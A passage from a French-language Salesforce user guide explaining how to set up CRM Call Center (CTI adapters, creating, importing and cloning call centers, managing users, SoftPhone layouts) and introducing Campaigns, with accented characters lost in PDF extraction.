Pour dployer un adaptateur CTI sur tous les ordinateurs d'un centre d'appels la fois, utilisez le fichier .msi fourni avec le
programme d'installation et votre systme de gestion des logiciels prfr.
Une fois l'adaptateur CTI install, vous pouvez effectuer les oprations suivantes :

Dmarrez l'application de l'adaptateur CTI en cliquant sur Dmarrer Programmes salesforce.com Adapter
<nom du systme CTI>. Pour savoir si l'adaptateur CTI est en cours d'excution, vrifiez que l'icne
barre d'tat systme.

figure dans la

Arrtez l'application de l'adaptateur CTI en cliquant avec le bouton droit de la souris sur l'icne
systme, puis en slectionnant Quitter.

Modifiez les paramtres de consignation de l'adaptateur CTI en cliquant avec le bouton droit de la souris sur l'icne
dans la barre d'tat systme, puis en slectionnant l'option Consignation. Dans la bote de dialogue des paramtre de
consignation CTI :
-

dans la barre d'tat

Slectionnez les types de message consigner. Laissez les niveaux de consignation paramtrs sur Faible - Erreurs,
sauf si vous cherchez rsoudre un problme pos par l'adaptateur.
Indiquez l'emplacement des deux fichiers journaux que gnre l'adaptateur CTI.

Voir aussi :
Configuration de Salesforce CRM Call Center
Gestion des utilisateurs de centre d'appels
Configuration minimale requise pour Salesforce CRM Call Center

Cration d'un centre d'appels

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer un centre d'appels par importation ou par clonage : Grer les centres d'appels

Un centre d'appels dans Salesforce CRM Call Center correspond un systme de couplage tlphonie-informatique (CTI)
unique, dj en place dans votre entreprise. Les utilisateurs Salesforce.com doivent tre attribus un centre d'appels avant de
pouvoir utiliser les fonctionnalits de Salesforce CRM Call Center.
Il existe deux faons de crer un enregistrement de centre d'appels dans Salesforce.com :

Importer une dfinition de centre d'appels dans Salesforce.com. Utilisez cette mthode pour crer votre premier centre
d'appels pour un adaptateur CTI rcemment install.

Centre d'Appels

Guide de l'utilisateur | Cration d'un centre d'appels | 1143

Cloner une spcification de centre d'appels existante. Utilisez cette mthode pour crer des centres d'appel supplmentaires
pour un adaptateur CTI donn. Par exemple, si vous disposez dj d'un enregistrement de centre d'appels Cisco IPCC
Enterprise un emplacement prcis, vous pouvez cloner cet enregistrement pour un centre d'appels Cisco IPCC Enterprise
situ un autre endroit.

Pour voir la liste des centres d'appels dj crs, cliquez sur Configuration Personnalisation Centre d'appels Centres
d'appels.

Voir aussi :
Configuration de Salesforce CRM Call Center
Fichiers de spcification de centre d'appels
Gestion des centres d'appels
Affichage et modification d'un centre d'appels
Gestion des utilisateurs de centre d'appels

Fichiers de spcification de centre d'appels

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Les fichiers de spcification de centre d'appels contiennent des champs et des valeurs permettant de dfinir dans Salesforce.com
un centre d'appels pour un adaptateur CTI spcifique. Salesforce.com utilise des fichiers de spcification de centre d'appels
pour assurer la prise en charge de l'intgration de Salesforce CRM Call Center avec plusieurs fournisseurs de systme CTI.
Par dfaut, chaque package d'installation d'adaptateur CTI inclut un fichier de spcification de centre d'appels par dfaut prvu
pour cet adaptateur. Ce fichier XML se trouve dans le rpertoire d'installation de l'adaptateur. Son nom reprend celui du
systme CTI qu'il prend en charge. Par exemple, le fichier de spcification de centre d'appels par dfaut de l'adaptateur
Cisco IPCC Enterprise se nomme CiscoIPCCEnterprise7x.xml.
Pour dfinir la premire instance d'un centre d'appels d'un adaptateur CTI spcifique, vous devez importer le fichier de
spcification de centre d'appels correspondant dans Salesforce.com. Vous pouvez ensuite dfinir les centres d'appels suivants
en clonant le centre d'appels initial cr par importation.
Si votre entreprise modifie un adaptateur ou en cre un nouveau, vous devez personnaliser le fichier de spcification de centre
d'appels de l'adaptateur, afin qu'il comporte les informations de centre d'appels supplmentaires requises. Par exemple, si vous
crez un adaptateur CTI pour un systme prenant en charge un serveur de sauvegarde, le fichier de spcification de centre
d'appels doit inclure des champs pour l'adresse IP et le numro de port de ce serveur. Ces champs ne sont pas ncessaires dans
les fichiers de spcification de centre d'appels des adaptateurs CTI employs sur des systmes n'utilisant aucun serveur de
sauvegarde.
Remarque: Une fois le fichier de spcification de centre d'appels import dans Salesforce.com, vous ne pouvez plus
ajouter ou supprimer de champ. Toutefois, dans Salesforce.com, vous pouvez modifier les valeurs attribues ces
champs.

Voir aussi :
Cration d'un centre d'appels
Clonage d'un centre d'appels

Centre d'Appels

Guide de l'utilisateur | Cration d'un centre d'appels | 1144

Importation d'un fichier de spcification de centre d'appels

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour importer des fichiers de spcification de centre d'appels : Grer les centres d'appels

Pour crer votre premier centre d'appels pour un adaptateur CTI que vous venez d'installer, vous pouvez importer le fichier
de spcification de centre d'appels par dfaut de l'adaptateur dans Salesforce.com :
1. Cliquez sur Configuration Personnalisation Centre d'appels Centres d'appels.
2. Cliquez sur Importation.
3. En regard du champ Fichier de spcification de centre d'appels, cliquez sur Parcourir pour accder au
fichier de spcification de centre d'appels par dfaut qui se trouve dans le rpertoire d'installation de l'adaptateur CTI. Le
nom de ce fichier XML dpend du type de systme CTI pris en charge par l'adaptateur. Par exemple, le nom du fichier
de spcification de centre d'appels par dfaut de l'adaptateur Cisco IPCC Enterprise est CiscoIPCCEnterprise7x.xml.
Cliquez sur Ouvrir pour insrer le chemin dans le champ Fichier de spcification de centre d'appels.
4. Cliquez sur Importation pour importer le fichier et revenir la page Tous les centres d'appels. L'enregistrement du nouveau
centre d'appels est rpertori avec les autres centres d'appels de votre entreprise.
Remarque: Si vous recevez le message d'erreur Il existe dj un centre d'appels portant ce
nom interne, un fichier de spcification de centre d'appels a dj t import dans Salesforce.com pour
l'adaptateur CTI considr. Pour crer des enregistrements de centre d'appels supplmentaires pour l'adaptateur CTI,
clonez le centre d'appels existant correspondant afin d'inclure une valeur reqInternalName diffrente.
5. Cliquez sur Modifier en regard du nom du nouveau centre d'appels pour modifier ses paramtres.
Pour crer des centres d'appels supplmentaires pour un adaptateur CTI spcifique, reportez-vous Clonage d'un centre
d'appels la page 1145.

Voir aussi :
Cration d'un centre d'appels
Gestion des centres d'appels

Centre d'Appels

Guide de l'utilisateur | Cration d'un centre d'appels | 1145

Clonage d'un centre d'appels

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher et cloner un centre d'appels :

Grer les centres d'appels

Pour crer des centres d'appels supplmentaires pour un adaptateur CTI spcifique, vous pouvez cloner un centre d'appels
existant. Par exemple, si vous disposez dj d'un enregistrement de centre d'appels Cisco IPCC Enterprise un emplacement
prcis, vous pouvez cloner cet enregistrement pour un centre d'appels Cisco IPCC Enterprise situ un autre endroit.
Pour cloner un centre d'appels :
1. Cliquez sur Configuration Personnalisation Centre d'appels Centres d'appels.
2. Cliquez sur le nom du centre d'appels cloner.
3. Cliquez sur Cloner. Cette opration affiche un nouveau centre d'appels modifier, qui contient les mmes champs et
valeurs que le centre d'appels initial. Seul le champ Nom interne est laiss vide. Vous pouvez ainsi indiquer le nouveau
nom. Ce nom, limit 40 caractres alphanumriques, doit commencer par une lettre. Le nom de centre d'appels indiqu
dans le champ Nom interne ne doit pas tre dj utilis dans votre entreprise.
4. Apportez les modifications voulues au nouveau centre d'appels.
5. Cliquez sur Enregistrer pour enregistrer le nouveau centre d'appels ou sur Annuler pour revenir la page Tous les centres
d'appels sans enregistrer le centre d'appels clon.
Remarque: Si vous avez accs en lecture seule un champ, la valeur de ce champ n'est pas transmise l'enregistrement
clon.

Voir aussi :
Configuration de Salesforce CRM Call Center
Cration d'un centre d'appels
Gestion des centres d'appels
Affichage et modification d'un centre d'appels
Importation d'un fichier de spcification de centre d'appels

Centre d'Appels

Guide de l'utilisateur | Gestion des centres d'appels | 1146

Gestion des centres d'appels

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour importer, afficher, modifier ou supprimer un centre
d'appels :

Grer les centres d'appels

Un centre d'appels dans Salesforce CRM Call Center correspond un systme de couplage tlphonie-informatique (CTI)
unique, dj en place dans votre entreprise. Les utilisateurs Salesforce.com doivent tre attribus un centre d'appels avant de
pouvoir utiliser les fonctionnalits de Salesforce CRM Call Center.
Pour voir la liste des centres d'appels dj crs, cliquez sur Configuration Personnalisation Centre d'appels Centres
d'appels. partir de cette page, vous pouvez :

Cliquez sur le nom d'un centre d'appels pour en afficher les dtails.
Cliquez sur Importation pour importer un fichier de spcification de centre d'appels que vous avez dj cr.
Cliquez sur Modifier en regard d'un centre d'appels pour en modifier les dtails.
Cliquez sur Suppr en regard d'un centre d'appels pour effacer l'enregistrement de centre d'appels de Salesforce.com. Si
vous supprimez un centre d'appels, tous les numros d'annuaire associs sont galement supprims. Tout utilisateur associ
au centre d'appels doit tre rattribu un autre centre pour pouvoir continuer utiliser les fonctions de Salesforce CRM
Call Center.

Voir aussi :
Configuration de Salesforce CRM Call Center
Cration d'un centre d'appels
Fichiers de spcification de centre d'appels
Gestion des utilisateurs de centre d'appels

Affichage et modification d'un centre d'appels

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher ou modifier un centre d'appels :

Grer les centres d'appels

Un centre d'appels dans Salesforce CRM Call Center correspond un systme de couplage tlphonie-informatique (CTI)
unique, dj en place dans votre entreprise. Les utilisateurs Salesforce.com doivent tre attribus un centre d'appels avant de
pouvoir utiliser les fonctionnalits de Salesforce CRM Call Center.

Centre d'Appels

Guide de l'utilisateur | Gestion des utilisateurs de centre d'appels | 1147

Pour afficher les dtails d'un centre d'appels :

1. Cliquez sur Configuration Personnalisation Centre d'appels Centres d'appels.
2. Cliquez sur le nom du centre d'appels que vous souhaitez afficher.
partir de la page de dtails du centre d'appels, vous pouvez :

Cliquer sur Modifier pour modifier les proprits du centre d'appels.

Cliquez sur Supprimer pour supprimer l'enregistrement du centre d'appels de Salesforce.com. Si vous supprimez un centre
d'appels, tous les numros d'annuaire associs sont galement supprims. Tout utilisateur associ au centre d'appels doit
tre rattribu un autre centre pour pouvoir continuer utiliser les fonctions de Salesforce CRM Call Center.
Cliquer sur Cloner pour crer une copie du centre d'appels comportant les mmes champs et valeurs que le centre d'appels
actuel.
Cliquer sur Grer les utilisateurs de centre d'appels pour dsigner les utilisateurs de Salesforce.com en tant que membres
de ce centre d'appels.

Voir aussi :
Cration d'un centre d'appels
Gestion des centres d'appels

Gestion des utilisateurs de centre d'appels

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour ajouter ou supprimer des utilisateurs d'un centre d'appels : Grer les centres d'appels

Un utilisateur Salesforce.com ne peut pas visualiser les fonctions de Salesforce CRM Call Center tant qu'un administrateur
ne l'a pas attribu un centre d'appels. Pour plus d'informations, reportez-vous aux rubriques ci-dessous :

Ajout d'un utilisateur un centre d'appels

Suppression d'un utilisateur d'un centre d'appels

Chaque utilisateur du centre d'appels a accs un ensemble de paramtres SoftPhone personnels qui spcifient :

Si l'utilisateur doit tre automatiquement connect son SoftPhone lorsqu'il se connecte Salesforce.com
La faon dont un enregistrement doit tre affich lorsqu'il est le seul correspondre un appel entrant

Centre d'Appels

Guide de l'utilisateur | Gestion des utilisateurs de centre d'appels | 1148

Pour modifier les paramtres SoftPhone personnels par dfaut pour tous les nouveaux utilisateurs du centre d'appels, utilisez
l'API Force.com. Pour plus d'informations, reportez-vous au guide Force.com Web Services API Developer's Guide.

Voir aussi :
Configuration de Salesforce CRM Call Center
Cration d'un centre d'appels
Gestion des centres d'appels

Ajout d'un utilisateur un centre d'appels

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour ajouter des utilisateurs un centre d'appels :

Grer les centres d'appels

Pour ajouter un utilisateur un centre d'appels dans Salesforce CRM Call Center :
Cliquez sur Configuration Personnalisation Centre d'appels Centres d'appels.
Cliquez sur le nom du centre d'appels auquel vous souhaitez attribuer l'utilisateur de Salesforce.com.
Dans la liste associe Utilisateurs du centre d'appels, cliquez sur Grer les utilisateurs de centre d'appels.
Cliquez sur Ajouter d'autres utilisateurs.
Spcifiez les critres de recherche des utilisateurs Salesforce.com attribuer au centre d'appels.
Cliquez sur Rechercher pour afficher la liste des utilisateurs Salesforce.com correspondant aux critres de recherche. Tous
les utilisateurs faisant dj partie d'un centre d'appels sont exclus des rsultats de la recherche, car un utilisateur ne peut
tre attribu qu' un seul centre d'appels la fois.
7. Cochez la case en regard de chaque utilisateur devant tre attribu au centre d'appels et cliquez sur Ajouter au centre
d'appels.
1.
2.
3.
4.
5.
6.

Vous pouvez galement changer le centre d'appels d'un utilisateur spcifique dans la page Modification de l'utilisateur :
1. Cliquez sur Configuration Gestion des utilisateurs Utilisateurs.
2. Cliquez sur Modifier en regard du nom de l'utilisateur.
3. Modifiez le contenu du champ Centre d'appels si ncessaire. Vous pouvez changer le centre d'appels de l'utilisateur
en cliquant sur l'icne de recherche ( ), puis en slectionnant un autre centre d'appels. Vous pouvez galement supprimer
l'utilisateur du centre d'appels en supprimant du champ le nom de ce dernier.

Voir aussi :
Configuration de Salesforce CRM Call Center
Gestion des utilisateurs de centre d'appels
Cration d'un centre d'appels

Centre d'Appels

Guide de l'utilisateur | Gestion des utilisateurs de centre d'appels | 1149

Suppression d'un utilisateur d'un centre d'appels

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour supprimer des utilisateurs d'un centre d'appels :

Grer les centres d'appels

Pour supprimer un utilisateur d'un centre d'appels dans Salesforce CRM Call Center :
1.
2.
3.
4.

Cliquez sur Configuration Personnalisation Centre d'appels Centres d'appels.

Cliquez sur le nom du centre d'appels duquel vous souhaitez supprimer l'utilisateur de Salesforce.com.
Dans la liste associe Utilisateurs du centre d'appels, cliquez sur Grer les utilisateurs de centre d'appels.
Cliquez sur Supprimer en regard du nom de l'utilisateur que vous souhaitez supprimer du centre d'appels.
Pour supprimer plusieurs utilisateurs la fois, cochez la case Action en regard de chaque utilisateur que vous souhaitez
supprimer et cliquez sur Supprimer des utilisateurs.

Vous pouvez galement changer le centre d'appels d'un utilisateur spcifique dans la page Modification de l'utilisateur :
1. Cliquez sur Configuration Gestion des utilisateurs Utilisateurs.
2. Cliquez sur Modifier en regard du nom de l'utilisateur.
3. Modifiez le contenu du champ Centre d'appels si ncessaire. Vous pouvez changer le centre d'appels de l'utilisateur
en cliquant sur l'icne de recherche ( ), puis en slectionnant un autre centre d'appels. Vous pouvez galement supprimer
l'utilisateur du centre d'appels en supprimant du champ le nom de ce dernier.

Voir aussi :
Configuration de Salesforce CRM Call Center
Gestion des utilisateurs de centre d'appels
Cration d'un centre d'appels

Centre d'Appels

Guide de l'utilisateur | Personnalisation de l'annuaire d'un centre d'appels | 1150

Personnalisation de l'annuaire d'un centre d'appels

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour grer des annuaires de centres d'appels :

Grer les centres d'appels

Chaque centre d'appels dans Salesforce CRM Call Center comprend un annuaire de centre d'appels qui permet aux utilisateurs
de rechercher des numros de tlphone dans toute l'entreprise. Vous pouvez personnaliser des annuaires de centres d'appels
en :

Ajoutant des numros d'annuaire supplmentaires, soit un seul centre d'appels, soit tous les centres d'appels de votre
entreprise
Mettant jour des prsentations de recherche de numro de tlphone

Voir aussi :
Configuration de Salesforce CRM Call Center
Gestion des centres d'appels
Gestion des utilisateurs de centre d'appels

Ajout d'un numro un annuaire de centre d'appels

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher, ajouter, modifier ou supprimer un numro
d'annuaire supplmentaire :

Grer les centres d'appels

Pour personnaliser un annuaire de centre d'appels en ajoutant des numros un seul centre d'appels ou tous les centres
d'appels dfinis dans votre entreprise :
1. Cliquez sur Configuration Personnalisation Centre d'appels Numros de rpertoire. partir de cette page,
vous pouvez :

Cliquez sur Modifier pour modifier un numro d'annuaire supplmentaire existant.

Cliquez sur Suppr pour supprimer un numro d'annuaire supplmentaire existant.
Cliquez sur le nom d'un numro d'annuaire supplmentaire existant pour afficher les dtails correspondants dans la
page de dtails Autre numro d'annuaire. Dans cette page, vous pouvez cliquer sur Modifier pour modifier le numro,
sur Supprimer pour le supprimer ou sur Cloner pour crer rapidement un numro d'annuaire supplmentaire comportant
les mmes informations que le numro existant.

Centre d'Appels

Guide de l'utilisateur | Personnalisation des prsentations SoftPhone | 1151

2. Cliquez sur Nouveau pour dfinir un nouveau numro d'annuaire supplmentaire.

3. Dans le champ Nom, entrez un nom identifiant le numro d'annuaire supplmentaire.
4. Dans le champ Tlphone, entrez le numro de tlphone, indicatif compris. Il n'est pas ncessaire d'inclure les prfixes
de numrotation, tels que 9 ou 1.
5. Dans le champ Centre d'appels, slectionnez l'annuaire de centre d'appels auquel ajouter le nouveau numro d'annuaire.
Pour ajouter le numro tous les annuaires de centre d'appels de votre entreprise, choisissez -- Une solution globale --.
6. Vous pouvez galement entrez des informations plus prcises sur le numro d'annuaire supplmentaire dans le champ
Description.
7. Cliquez sur Enregistrer pour enregistrer le numro et revenir la page Tous les autres numros de rpertoire. Vous pouvez
galement cliquer sur Enregistrer et Nouveau pour enregistrer le numro et en crer un autre.

Voir aussi :
Configuration de Salesforce CRM Call Center
Personnalisation de l'annuaire d'un centre d'appels

Personnalisation des prsentations SoftPhone

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher, crer, modifier ou supprimer une prsentation
SoftPhone :

Grer les centres d'appels

Un SoftPhone est un outil de contrle des appels personnalisable qui apparat dans le menu latral des pages Salesforce.com
si un utilisateur est affect un centre d'appels et travaille sur un ordinateur quip d'un adaptateur CTI. l'instar des
prsentations de page, vous pouvez concevoir des prsentations SoftPhone personnalises et les attribuer des utilisateurs de
Salesforce CRM Call Center, en fonction de leur profil utilisateur. Pour plus d'informations, reportez-vous aux rubriques
ci-dessous :

Conception d'une prsentation SoftPhone personnalise

Attribution d'une prsentation SoftPhone un profil utilisateur

Voir aussi :
Qu'est-ce que Salesforce CRM Call Center Edition ?
Configuration de Salesforce CRM Call Center
Gestion des centres d'appels

Centre d'Appels

Guide de l'utilisateur | Personnalisation des prsentations SoftPhone | 1152

Conception d'une prsentation SoftPhone personnalise

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher, crer, modifier ou supprimer une prsentation
SoftPhone :

Grer les centres d'appels

Les prsentations SoftPhone permettent de contrler les champs relatifs l'appel affichs et les objets Salesforce.com o les
appels entrants sont recherchs. Pour concevoir une prsentation SoftPhone personnalise :
1. Cliquez sur Configuration Personnalisation Centre d'appels SoftPhone Prsentations.
2. Cliquez sur l'option Nouveau pour crer une dfinition de prsentation SoftPhone, ou sur l'option Modifier en regard du
nom d'une dfinition de prsentation existante pour l'afficher ou la modifier.
3. Dans le champ Nom, entrez un nom identifiant la dfinition de prsentation SoftPhone de faon unique.
4. Dans la liste de slection Select Call Type, choisissez le type d'appel pour lequel la prsentation SoftPhone affiche
doit tre utilise. Chaque dfinition de prsentation SoftPhone vous permet d'indiquer une prsentation diffrente pour
les appels entrants, les appels sortants et les appels internes. Ces trois prsentations sont regroupes dans une mme
dfinition de prsentation SoftPhone.
5. Dans la section Afficher ces champs relatifs l'appel, cliquez sur Modifier pour ajouter ou supprimer des
champs, ou en modifier l'ordre dans la prsentation SoftPhone affiche :

Pour ajouter un champ la prsentation SoftPhone, slectionnez-le dans la liste Disponible, puis cliquez sur Ajouter.
Pour supprimer un champ de la prsentation SoftPhone, slectionnez-le dans la liste des slections, puis cliquez sur
Supprimer.
Pour changer la position d'un champ dans la prsentation SoftPhone, slectionnez-le dans la liste des slections, puis
cliquez sur Haut ou Bas.

Les modifications que vous apportez sont automatiquement rpercutes dans l'aperu de la prsentation SoftPhone, dans
la partie droite de la page. Pour masquer les listes des lments disponibles et des lments slectionns, cliquez sur Rduire.
Remarque: Les champs relatifs au tlphone, que vous slectionnez dans la prsentation SoftPhone, n'apparaissent
dans le SoftPhone de l'utilisateur que si une valeur valide est disponible pour ce champ. Par exemple, si vous ajoutez
un champ ID de l'appelant la prsentation d'un appel sortant, ce champ n'apparat pas.
6. Dans la section Afficher ces objets Salesforce.com, cliquez sur Ajouter/supprimer des objets pour ajouter ou
supprimer des liens vers les objets relatifs aux appels, ou en modifier l'ordre.
7. Sous la liste des objets slectionns, cliquez sur Modifier en regard de chaque ligne Si un seul <Objet> trouv,
affichez pour spcifier les champs devant apparatre dans la prsentation SoftPhone si un unique enregistrement de
cet objet est le seul enregistrement trouv. Vous pouvez ajouter ou supprimer des champs, ou en modifier l'ordre.
8. Configurez les prsentations SoftPhone pour les autres types d'appel dans la liste de slection Select Call Type.

Centre d'Appels

Guide de l'utilisateur | Personnalisation des prsentations SoftPhone | 1153

9. Cliquez sur Enregistrer.

Voir aussi :
Configuration de Salesforce CRM Call Center
Attribution d'une prsentation SoftPhone un profil utilisateur

Attribution d'une prsentation SoftPhone un profil utilisateur

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour attribuer une prsentation SoftPhone un profil
utilisateur :

Grer les centres d'appels

Une fois que vous avez dfini une ou plusieurs prsentations SoftPhone, vous pouvez les attribuer des profils utilisateur :
1. Cliquez sur Configuration Personnalisation Centre d'appels SoftPhone Prsentations.
2. Cliquez sur Attribution de prsentation.
3. Pour chaque profil utilisateur de la page, slectionnez la prsentation SoftPhone que le profil doit utiliser. Les profils ne
sont rpertoris dans cette page que s'ils incluent les utilisateurs actuellement attribus un centre d'appels ou s'ils ont dj
t attribus une prsentation SoftPhone personnalise.
4. Cliquez sur Enregistrer.
Remarque: Les utilisateurs du centre d'appels visualiseront la toute nouvelle prsentation SoftPhone qui leur est
attribue la prochaine fois qu'ils se connecteront Salesforce.com.

Voir aussi :
Configuration de Salesforce CRM Call Center
Personnalisation des prsentations SoftPhone

Campagnes
Prsentation des campagnes
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Les campagnes sont des projets de communication marketing dont vous assurez la planification, la gestion et le suivi dans
Salesforce.com. Elles peuvent se prsenter sous forme de programme de publipostage, de sminaire, de publicit imprime,
d'e-mail ou d'un autre type d'initiative marketing. Vous pouvez organiser les campagnes en hirarchies afin de faciliter l'analyse
des stratgies marketing associes.
L'onglet Campagnes affiche une page d'accueil vous permettant de rechercher rapidement des campagnes et de gnrer des
rapports. Vous pouvez galement trier et filtrer les campagnes l'aide de vues de liste standard et personnalises. En outre,
cet onglet vous permet d'afficher et de modifier des informations dtailles concernant les campagnes.
Remarque: Un utilisateur ne peut grer une campagne que si la case Utilisateur marketing est coche dans sa page
d'informations personnelles, qu'il dtient les autorisations utilisateur appropries et qu'il dispose d'un accs partag
la campagne. Les autres utilisateurs peuvent uniquement afficher les campagnes et excuter des rapports sur une
campagne. Reportez-vous Qui a accs aux campagnes ? la page 2130
En outre, les campagnes ne peuvent pas tre dsactives pour votre entreprise si elles sont rfrences dans un script
Apex.

Voir aussi :
Page d'accueil des campagnes

Page d'accueil des campagnes

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour afficher l'onglet Campagnes :

Autorisation de lecture sur les campagnes

Pour afficher des campagnes :

Autorisation de lecture sur les campagnes

Pour crer des campagnes :

Autorisation de cration sur les campagnes

Un clic sur l'onglet Campagnes affiche la page d'accueil des campagnes. Tous les utilisateurs peuvent accder la page d'accueil
des campagnes.

Campagnes

Guide de l'utilisateur | Page d'accueil des campagnes | 1155

Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la
dans la liste droulante Vue, puis cliquez sur Modifier.
Dans la section Campagnes rcentes, slectionnez un lment de la liste droulante pour afficher une liste rduite des
campagnes correspondant le mieux ce critre. Dans cette liste, vous pouvez cliquer sur le nom de la campagne dont vous
souhaitez afficher les dtails. Cliquez alternativement sur les liens Afficher 25 lments et Afficher 10 lments pour
changer le nombre d'lments affichs. Les champs que vous voyez apparatre dpendent de la prsentation de recherche
de l'onglet Campagnes dfinie par l'administrateur et des paramtres de scurit relatifs aux champs (disponibles exclusivement
dans Enterprise Edition, Unlimited Edition et Developer Edition). Voici les options disponibles pour les campagnes
rcentes :
Option

Description

Affich rcemment

Les dix ou vingt-cinq dernires campagnes que vous avez

affiches, en commenant par la campagne consulte le plus
rcemment. Cette liste provient des lments rcents et
contient les enregistrements dont vous tes responsable et
ceux des autres utilisateurs.

Mes campagnes actives

Les dix ou vingt-cinq dernires campagnes marques comme

actives, en commenant par la campagne cre le plus
rcemment. Cette liste ne contient que les enregistrements
dont vous tes responsable.

Dans la section Campagnes rcentes, cliquez sur Nouveau pour crer une campagne.
Sous Rapports, cliquer sur le nom du rapport que vous souhaitez afficher.

Voir aussi :
Prsentation des campagnes
Affichage et modification de campagnes
Gestion des membres d'une campagne
Cration de vues Listes personnalises

Campagnes

Guide de l'utilisateur | Affichage de listes de campagnes | 1156

Affichage de listes de campagnes

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour afficher des listes de campagnes :

Autorisation de lecture sur les campagnes

Pour crer des campagnes :

Autorisation de cration sur les campagnes

AND
Option Utilisateur Marketing active dans vos
informations d'utilisateur

Remarque: Si votre administrateur a activ les listes avances, vous pouvez utiliser les outils supplmentaires pour
personnaliser, accder , grer et modifier des donnes de liste.
La page de liste Campagnes affiche la liste des campagnes dans votre vue actuelle. partir de cette page, vous pouvez afficher
des informations dtailles sur les campagnes et accder d'autres informations connexes. Tous les utilisateurs peuvent afficher
une campagne. En revanche, seuls les utilisateurs dont la case Utilisateur marketing est coche dans leurs pages
d'informations personnelles peuvent crer, modifier et supprimer les campagnes.

Cliquez sur un nom de campagne pour en afficher les dtails. Cliquez sur Modifier pour modifier une campagne en
particulier. Cliquez sur Suppr pour supprimer une campagne. Reportez-vous Affichage et modification de campagnes
la page 1159.
Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la
dans la liste droulante Vue, puis cliquez sur Modifier.
Cliquez sur Vue imprimable pour afficher la vue de liste actuelle sous un format prt pour l'impression.
Cliquez sur Nouvelle campagne ou slectionnez Campagne dans la liste droulante Crer du menu latral pour crer une
campagne. Ces options apparaissent uniquement si vous disposez de l'autorisation de cration sur les campagnes.
Cliquez sur un en-tte de colonne pour trier les campagnes par ordre croissant en fonction des informations de cette
colonne. Cliquez de nouveau sur l'en-tte pour trier la colonne par ordre dcroissant.
En haut et en bas de la liste, cliquez sur une lettre pour afficher le contenu de la colonne trie commenant par cette lettre.
Cliquez sur le lien Page suivante (ou Page prcdente) pour passer au groupe de campagnes suivant ou prcdent.
Au bas de la vue de liste, cliquez sur moins ou sur plus pour afficher une liste plus courte ou plus longue.

Voir aussi :
Personnalisation des paramtres de l'interface utilisateur
Utilisation des listes avances
Utilisation de la modification en ligne dans des listes

Campagnes

Guide de l'utilisateur | Affichage des hirarchies de campagnes | 1157

Affichage des hirarchies de campagnes

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour afficher des campagnes :

Autorisation de lecture sur les campagnes

Une hirarchie de campagnes vous permet de regrouper des campagnes au sein d'un programme ou d'une initiative marketing
spcifique, ce qui vous donne la possibilit d'analyser plus efficacement les efforts marketing associs.
Pour afficher la hirarchie d'une campagne, cliquez sur Afficher la hirarchie en regard du champ Nom de la campagne
de la page des dtails de la campagne. Si une campagne ne fait pas partie d'une hirarchie, la page Hirarchie de campagnes
correspondante affiche uniquement la campagne que vous avez slectionne.
Une hirarchie de campagnes vous indique les campagnes associes les unes aux autres via le champ Campagne parent. Une
hirarchie illustre la relation qui existe entre des campagnes, par exemple un regroupement de campagnes dans une tactique
marketing spcifique. Chaque campagne ne peut possder qu'une seule campagne parent mais un nombre illimit de campagnes
de mme niveau. Une hirarchie de campagnes peut contenir, au maximum, cinq niveaux ou gnrations. Autrement dit, une
hirarchie de campagnes possde cinq niveaux au maximum, mais l'tendue sur chaque niveau est illimite. Les membres de
campagne, tels que les contacts et les pistes, peuvent tre inclus n'importe quel niveau.
Sur la page Hirarchie de campagnes, les campagnes sont dcales sur la droite pour montrer qu'elles sont associes aux
campagnes situes au-dessus. Les campagnes sont rpertories par ordre dcroissant en fonction de leur niveau de hirarchie.
Cliquez sur le nom d'une campagne pour ouvrir la page de dtails correspondante.
Les statistiques de chaque campagne figurent dans la section Statistiques de campagne de la page de dtails de campagne. Les
statistiques agrges pour les campagnes parent et enfant se trouvent dans la liste associe Hirarchie de campagnes. Pour plus
d'informations, reportez-vous Affichage des statistiques de hirarchie de campagnes la page 1158.
Remarque: Pour garantir la cohrence des rapports gnrs, toutes les campagnes d'une hirarchie doivent utiliser la
mme devise.

Voir aussi :
Configuration des hirarchies de campagnes
Affichage et modification de campagnes

Campagnes

Guide de l'utilisateur | Affichage des hirarchies de campagnes | 1158

Affichage des statistiques de hirarchie de campagnes

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour afficher des campagnes :

